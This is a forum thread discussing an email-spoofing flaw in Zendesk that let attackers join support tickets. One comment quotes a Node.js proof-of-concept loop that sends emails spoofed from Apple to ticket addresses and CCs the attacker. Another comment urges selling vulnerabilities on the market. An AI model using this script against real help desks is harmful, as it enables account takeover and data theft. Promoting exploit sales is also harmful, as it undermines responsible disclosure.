3 ms·

Are Google and Apple not doing proper SPF/DMARC/DKIM? I think they probably are - but this attack worked anyway. Zendesk wasn't validating the email senders.

• deleted 2y ago
  [deleted]
• layer8 2y ago
  Apple and Google weren’t involved as email sender addresses.
  • radlad 2y ago
    Read the repro steps again: > Create an Apple account with support@company.com email and request a verification code, Apple sends verification code from appleid@id.apple.com to support@company.com and Zendesk automatically creates a ticket It's a clever attack.
    • Thorrez 2y ago
      I agree with your point, but that email's not the best example because it would have passed SPF/DMARC/DKIM. It's a step or two later that involved sending a spoofed email from appleid@id.apple.com : const sendmail = require('sendmail')(); // Assuming the ticket you created in step #2 was assigned a ticket ID of #453 // verification email landed somewhere near there const range = [448, 457]; for (let i = range[0]; i < range[1]; i++) { // Send spoofed emails from Apple to Zendesk sendmail({ from: 'appleid@id.apple.com', to: `support+id${i}@company.com`, cc: 'daniel@wearehackerone.com', subject: '', html: 'comment body', }, function (err, reply) { console.log(err && err.stack) console.dir(reply) }); };
      • radlad 2y ago
        This is exactly my point: if Apple has SPF/DKIM/DMARC configured correctly, then Zendesk should be validating the email sender. That they didn't is technically an SPF/DKIM/DMARC issue - a bug in Zendesk - but it is not a customer misconfiguration issue.
        • tryauuum 2y ago
          if someone's reading this thread: yes, apple does have dmarc / spf $ dig id.apple.com TXT +short "v=spf1 include:_spf-txn.apple.com include:_spf-mkt.apple.com include:_spf.apple.com include:icloud.com ~all" $ dig _dmarc.id.apple.com TXT +short "v=DMARC1; p=reject; rua=mailto:d@rua.agari.com; ruf=mailto:d@ruf.agari.com;"
          • hmottestad 2y ago
            And it’s still out of scope for the HackerOne bug bounty program.
            • dns_snek 2y ago
              Future hackers, take note. If vulnerabilities you discover have any chance of being misinterpreted as "out of scope" by some bureaucrat at HackerOne, even though they're obviously applicable and dangerous, sell them on the market instead.
            • hmottestad 2y ago
              Got a -1 on this comment. Must mean that I’m wrong and that it’s become part of the scope now! Maybe someone wants to post a link?
              • tryauuum 2y ago
                maybe because the issue is not about apple's dns records, so the vulnerability is in scope. One could argue the issue is in zendesk's feature of adding people with an email.
          • 2y ago
    • tryauuum 2y ago
      I wonder how redirects from support@company.com to zendesk work? if it's via MX records pointing to zendesk that it's zendesk's fault for not checking DMARC If it's another type of redirect then yes, you can blame customers for not verifying DMARC